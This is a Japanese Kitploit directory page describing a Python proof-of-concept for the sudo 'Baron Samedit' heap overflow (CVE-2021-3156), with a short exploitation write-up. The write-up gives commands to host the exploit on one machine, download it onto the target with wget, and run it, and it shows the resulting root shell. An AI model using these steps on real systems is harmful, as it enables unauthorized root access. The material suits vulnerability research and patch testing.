Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Review.CVE-2021-3156 — CVE-2021-3156(Baron Samedit)のPythonによる概念実証エクスプロイト。脆弱なsudoビルドにおいて、sudoeditのヒープオーバーフローを悪用してローカルでroot権限へ昇格できる。 | Kitploit
ツール/GitHubGitHub/constantinefedorov/review.cve-2021-3156
特権昇格脆弱性分析エクスプロイトペネトレーションテストレッドチーミングバイナリエクスプロイト
GitHubconstantinefedorov/review.cve-2021-3156

Review.CVE-2021-3156

CVE-2021-3156(Baron Samedit)のPythonによる概念実証エクスプロイト。脆弱なsudoビルドにおいて、sudoeditのヒープオーバーフローを悪用してローカルでroot権限へ昇格できる。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
1年前未レビュー

👑 CVE-2021-3156 (Baron Samedit) — sudo のヒープオーバーフローによる権限昇格

📅 日付: 2025-06-08
✍️ 著者: @TopskiyPavelQwertyGang 🧠 セキュリティリサーチャー | レッドチーム愛好家


🧠 CVE概要

  • CVE-ID: CVE-2021-3156
  • 種類: ヒープベースのバッファオーバーフロー
  • コンポーネント: sudoedit (sudo)
  • アクセスレベル: ローカル
  • 目的: root権限の取得

🧠 説明

sudoedit におけるヒープオーバーフローにより、ローカルユーザーが事前に用意したパラメータで sudoedit コマンドを実行した際に root アクセスを取得できる。

エクスプロイトは sudo < 1.9.5p2 のバージョンで有効であり、一般的な Ubuntu/Debian/CentOS のイメージも含まれる。
ASLR が有効な場合でも、この脆弱性は悪用可能なままである。


🐾 悪用条件

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (脆弱)
ASLR   : 2 (有効)

🧪 環境の準備

  1. glibc と sudo のバージョンを確認した:
ldd --version
sudo --version
  1. 別マシンから組み込み HTTP サーバー経由で PoC スクリプトを転送した:
python3 -m http.server 80
  1. ターゲットマシン上で PoC をダウンロードして実行する:
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

🚀 PoC の悪用成功

$ python3 exploit_nss.py
# whoami
root

🧾 結論

CVE-2021-3156 の悪用は、glibc ≥ 2.26 かつ脆弱なバージョンの sudo であれば、ASLR が有効な場合でも依然として可能である。
最も安定していたのはエクスプロイト exploit_nss.py であり、NSS の設定が正しければ一発で成功した。

🧨 システムは制御下にある。


ツールをダウンロード